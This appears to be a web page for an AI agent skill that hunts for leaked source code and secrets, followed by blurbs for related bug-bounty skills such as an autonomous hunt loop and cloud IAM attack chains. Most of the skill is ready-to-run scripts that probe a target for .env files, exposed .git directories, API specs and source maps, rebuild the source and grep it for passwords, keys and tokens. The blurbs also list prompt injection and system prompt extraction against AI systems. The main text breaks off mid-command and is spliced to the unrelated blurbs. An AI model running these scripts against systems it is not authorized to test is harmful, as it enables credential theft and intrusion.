hunt-source-leak
hunt-source-leak systematically discovers exposed source code and build artifacts that reveal application architecture and secrets. It targets JavaScript source maps reconstructing original TypeScript, API documentation files like Swagger/OpenAPI, exposed environment files, Git repositories, and build metadata to map attack surfaces. Use this skill at the beginning of reconnaissance to identify high-value information leaks that typically expose hardcoded credentials, internal endpoint routes, authentication logic, and dependency versions enabling targeted exploitation.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-source-leak && cp -r /tmp/hunt-source-leak/skills/hunt-source-leak ~/.claude/skills/hunt-source-leakSKILL.md
# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
## Crown Jewel Targets
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
**Highest-value findings:**
- **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
- **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
- **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
- **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets
- **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery
- **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting
---
## Phase 1 — Quick Wins (Run First)
```bash
# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done
```
---
## Phase 2 — Source Map Discovery
> **Always resolve the CURRENT build hash before testing, and again before
> re-verifying.** Bundle filenames are content-hashed, so they rotate on every
> deploy. A `.map` URL recorded yesterday can 404 today while the map is still
> fully exposed under a new name. **A 404 at the old URL is not remediation** —
> it is a new build.
>
> ```bash
> # ALWAYS derive the hash live, never reuse a recorded URL
> HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
> "https://$TARGET/static/js/${HASH}.map"
> ```
>
> **Lesson from an authorized engagement.** A large production map was found at
> `main.<hashA>.js.map`. On re-verification that URL returned a small HTML
> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
> `main.<hashB>.js` — and the map was still published at `main.<hashB>.js.map`,
> same size. Nothing had been remediated.
>
> Tell the client this explicitly in the report: **redeploying does not fix source
> map exposure.** Only `GENERATE_SOURCEMAP=false` (or stripping `.map` at deploy)
> plus a CDN purge closes it. A team that redeploys and re-checks the old link
> will wrongly declare victory.
>
> Same rule applies to any content-hashed artifact: chunk files, CSS maps,
> `asset-manifest.json`, and staging equivalents.
```bash
# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
```
---
## Phase 3 — Swagger / OpenAPI Discovery
```bash
# Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
```
---
## Phase 4 — .git Exposure
```bash
# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | heaEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.